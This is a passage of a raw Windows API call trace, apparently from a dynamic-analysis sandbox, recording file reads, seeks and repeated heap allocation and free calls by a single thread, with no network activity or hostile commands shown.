lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x7c7e26 [0073.538] GetLastError () returned 0x0 [0073.538] GetCurrentThreadId () returned 0x9b0 [0073.538] GetLastError () returned 0x0 [0073.538] GetCurrentThreadId () returned 0x9b0 [0073.538] GetLastError () returned 0x0 [0073.538] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8158758, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x7c7e26 [0073.538] GetLastError () returned 0x0 [0073.538] GetCurrentThreadId () returned 0x9b0 [0073.538] GetLastError () returned 0x0 [0073.538] GetCurrentThreadId () returned 0x9b0 [0073.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c7d) returned 0x2c1b200 [0073.538] GetLastError () returned 0x0 [0073.538] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1b214, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2c1b214*, lpNumberOfBytesRead=0x9ba998*=0x3000, lpOverlapped=0x0) returned 1 [0073.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1ee88 [0073.538] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1ee88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2c1ee88*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.539] GetLastError () returned 0x0 [0073.539] GetCurrentThreadId () returned 0x9b0 [0073.539] GetLastError () returned 0x0 [0073.539] GetCurrentThreadId () returned 0x9b0 [0073.539] GetCurrentThreadId () returned 0x9b0 [0073.539] GetLastError () returned 0x0 [0073.539] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x7cbe26 [0073.539] GetLastError () returned 0x0 [0073.539] GetCurrentThreadId () returned 0x9b0 [0073.539] GetLastError () returned 0x0 [0073.539] GetLastError () returned 0x0 [0073.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1ee88 | out: hHeap=0x2ad0000) returned 1 [0073.539] CloseHandle (hObject=0x1e8) returned 1 [0073.539] GetLastError () returned 0x0 [0073.539] GetCurrentThreadId () returned 0x9b0 [0073.539] GetLastError () returned 0x0 [0073.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c1ee88 [0073.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c20a60 [0073.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bb9c68 [0073.540] GetLastError () returned 0x0 [0073.540] GetCurrentThreadId () returned 0x9b0 [0073.540] GetLastError () returned 0x0 [0073.540] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c20a60, Size=0x8015) returned 0x2c20a60 [0073.540] GetLastError () returned 0x0 [0073.540] GetCurrentThreadId () returned 0x9b0 [0073.540] GetLastError () returned 0x0 [0073.540] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c20a60, Size=0x10015) returned 0x2c28a80 [0073.541] GetLastError () returned 0x0 [0073.541] GetCurrentThreadId () returned 0x9b0 [0073.541] GetLastError () returned 0x0 [0073.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c68 | out: hHeap=0x2ad0000) returned 1 [0073.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1ee88 | out: hHeap=0x2ad0000) returned 1 [0073.541] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c28a80, Size=0x9033) returned 0x2c28a80 [0073.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1b200 | out: hHeap=0x2ad0000) returned 1 [0073.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4fa) returned 0x2c31ac0 [0073.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28c) returned 0x2c31fc8 [0073.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41a) returned 0x2c32260 [0073.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.541] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18358, Size=0x20) returned 0x2a1f8a8 [0073.541] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8a8, Size=0x40) returned 0x2a19058 [0073.541] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19498 [0073.541] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19498, Size=0x8c) returned 0x2ac0878 [0073.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22e) returned 0x2c32688 [0073.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x226) returned 0x2c328c0 [0073.541] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0878, Size=0xb8) returned 0x2ac1378 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1378, Size=0xe8) returned 0x2ac26b0 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac26b0, Size=0x120) returned 0x2ba5870 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5870, Size=0x160) returned 0x2ba60a0 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba60a0, Size=0x1a8) returned 0x2ac97d8 [0073.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f9) returned 0x2c32af0 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac97d8, Size=0x1f8) returned 0x2ba7760 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7760, Size=0x250) returned 0x2ac4490 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4490, Size=0x2b4) returned 0x2baa2c0 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baa2c0, Size=0x324) returned 0x2bab298 [0073.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x222) returned 0x2c32df8 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab298, Size=0x3a4) returned 0x2c33028 [0073.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21d) returned 0x2c333d8 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c33028, Size=0x434) returned 0x2c33600 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c33600, Size=0x4d4) returned 0x2c33600 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c33600, Size=0x588) returned 0x2c33600 [0073.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3a8) returned 0x2c33028 [0073.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c33600, Size=0x654) returned 0x2c33600 [0073.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3bd) returned 0x2c33c60 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e9) returned 0x2c34028 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f0) returned 0x2c34320 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x2c34618 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e0) returned 0x2c34890 [0073.543] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c33600, Size=0x738) returned 0x2c34b78 [0073.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c34b78 | out: hHeap=0x2ad0000) returned 1 [0073.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c28a80 | out: hHeap=0x2ad0000) returned 1 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e308 [0073.543] GetCurrentThreadId () returned 0x9b0 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.543] GetCurrentThreadId () returned 0x9b0 [0073.543] GetCurrentThreadId () returned 0x9b0 [0073.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b626a0 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f0d0 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.544] GetCurrentThreadId () returned 0x9b0 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.545] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a180a0, Size=0x20) returned 0x2a1f858 [0073.545] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a18ea8 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20108 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0073.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.545] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x64) returned 0x2a19658 [0073.545] GetCurrentThreadId () returned 0x9b0 [0073.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.546] GetCurrentThreadId () returned 0x9b0 [0073.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acc480 [0073.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a180a0, Size=0x20) returned 0x2a1f9c0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.546] GetLastError () returned 0x0 [0073.547] GetLastError () returned 0x0 [0073.547] GetLastError () returned 0x0 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.547] GetCurrentThreadId () returned 0x9b0 [0073.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0580 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x2ac2038 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae80 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.547] GetCurrentThreadId () returned 0x9b0 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f0d0 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac2038 | out: hHeap=0x2ad0000) returned 1 [0073.547] GetCurrentThreadId () returned 0x9b0 [0073.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f568 [0073.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.547] GetCurrentThreadId () returned 0x9b0 [0073.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.548] GetCurrentThreadId () returned 0x9b0 [0073.548] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18388, Size=0x20) returned 0x2a1f8a8 [0073.548] GetCurrentThreadId () returned 0x9b0 [0073.548] GetCurrentThreadId () returned 0x9b0 [0073.548] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8a8, Size=0x40) returned 0x2a18d40 [0073.548] GetCurrentThreadId () returned 0x9b0 [0073.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.548] GetCurrentThreadId () returned 0x9b0 [0073.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.548] GetCurrentThreadId () returned 0x9b0 [0073.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18358, Size=0x20) returned 0x2a1fab0 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182f8, Size=0x10) returned 0x2a18388 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.549] GetCurrentThreadId () returned 0x9b0 [0073.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.550] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182f8, Size=0x10) returned 0x2a180a0 [0073.550] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1fa10 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af20 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.550] GetCurrentThreadId () returned 0x9b0 [0073.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.550] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a180a0, Size=0x10) returned 0x2a1fdf8 [0073.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.550] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a19328 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af00 [0073.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b98 [0073.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17b98, Size=0x20) returned 0x2a1fad8 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fad8, Size=0x40) returned 0x2a18c20 [0073.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19b98 [0073.551] GetCurrentThreadId () returned 0x9b0 [0073.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0910 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x2ac17f8 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac17f8, Size=0xe8) returned 0x2ac26b0 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ff28 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17ad8 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a60 [0073.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a60 | out: hHeap=0x2ad0000) returned 1 [0073.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff28 | 